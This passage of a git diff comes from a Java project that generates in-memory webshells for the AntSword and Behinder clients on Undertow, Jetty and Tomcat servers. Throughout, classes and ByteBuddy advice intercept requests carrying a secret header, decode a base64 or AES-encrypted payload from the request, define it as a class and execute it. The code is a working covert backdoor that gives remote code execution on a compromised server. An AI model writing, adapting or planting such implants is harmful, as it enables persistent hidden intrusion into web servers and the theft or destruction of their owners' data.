if (value != null && value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] bytes = base64Decode(parameter);
|
||||
Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -75,7 +75,7 @@ public class AntSwordValve extends ClassLoader implements Valve {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return;
|
||||
}
|
||||
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword.jetty;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-55
@@ -1,55 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword.undertow;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.security.Key;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class Behinder extends ClassLoader {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public Behinder() {
|
||||
}
|
||||
|
||||
public Behinder(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = unwrapRequest(args[0]);
|
||||
Object response = unwrapResponse(args[1]);
|
||||
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
Map<String, Object> map = new HashMap<String, Object>(3);
|
||||
map.put("request", request);
|
||||
map.put("response", response);
|
||||
map.put("session", session);
|
||||
String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine();
|
||||
byte[] bytes = x(base64Decode(parameter));
|
||||
Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s) {
|
||||
try {
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
} catch (Exception ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(request, "request");
|
||||
if (r == internalRequest) {
|
||||
return r;
|
||||
} else {
|
||||
internalRequest = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalRequest;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeInternalMethod(Object obj, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
method = clazz.getMethod(methodName);
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
-83
@@ -1,83 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object res
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
Object response = res;
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField("response");
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field != null) {
|
||||
field.setAccessible(true);
|
||||
response = field.get(response);
|
||||
}
|
||||
obj.put("response", response);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
obj.put("session", session);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
|
||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(obj);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class BehinderJettyHandler extends ClassLoader {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderJettyHandler() {
|
||||
}
|
||||
|
||||
public BehinderJettyHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object baseRequest = null;
|
||||
Object request = null;
|
||||
Object response = null;
|
||||
if (args.length == 4) {
|
||||
Object arg4 = args[3];
|
||||
baseRequest = args[1];
|
||||
if (arg4 instanceof Integer) {
|
||||
// jetty6
|
||||
request = args[1];
|
||||
response = args[2];
|
||||
} else {
|
||||
request = args[2];
|
||||
response = args[3];
|
||||
}
|
||||
} else {
|
||||
// ee10
|
||||
request = args[0];
|
||||
response = args[1];
|
||||
}
|
||||
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
Map<String, Object> map = new HashMap<String, Object>(3);
|
||||
map.put("request", request);
|
||||
map.put("response", getInternalResponse(response));
|
||||
map.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
byte[] bytes = c.doFinal(base64Decode(parameter));
|
||||
Object instance = (new BehinderJettyHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public Object getInternalResponse(Object response) {
|
||||
while (true) {
|
||||
try {
|
||||
response = getFieldValue(response, "response");
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderUndertowServletHandler() {
|
||||
}
|
||||
|
||||
public BehinderUndertowServletHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
try {
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
Map<String, Object> map = new HashMap<String, Object>(3);
|
||||
map.put("request", request);
|
||||
map.put("response", getInternalResponse(response));
|
||||
map.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
byte[] bytes = c.doFinal(base64Decode(parameter));
|
||||
Object instance = (new BehinderUndertowServletHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public Object getInternalResponse(Object response) {
|
||||
while (true) {
|
||||
try {
|
||||
response = getFieldValue(response, "response");
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
-81
@@ -1,81 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder.jetty;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object res
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
Object response = res;
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField("response");
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field != null) {
|
||||
field.setAccessible(true);
|
||||
response = field.get(response);
|
||||
}
|
||||
obj.put("response", response);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
obj.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
byte[] bytes = c.doFinal(data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(obj);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-86
@@ -1,86 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder.undertow;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
Object response = res;
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField("response");
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field != null) {
|
||||
field.setAccessible(true);
|
||||
response = field.get(response);
|
||||
}
|
||||
obj.put("response", response);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
obj.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
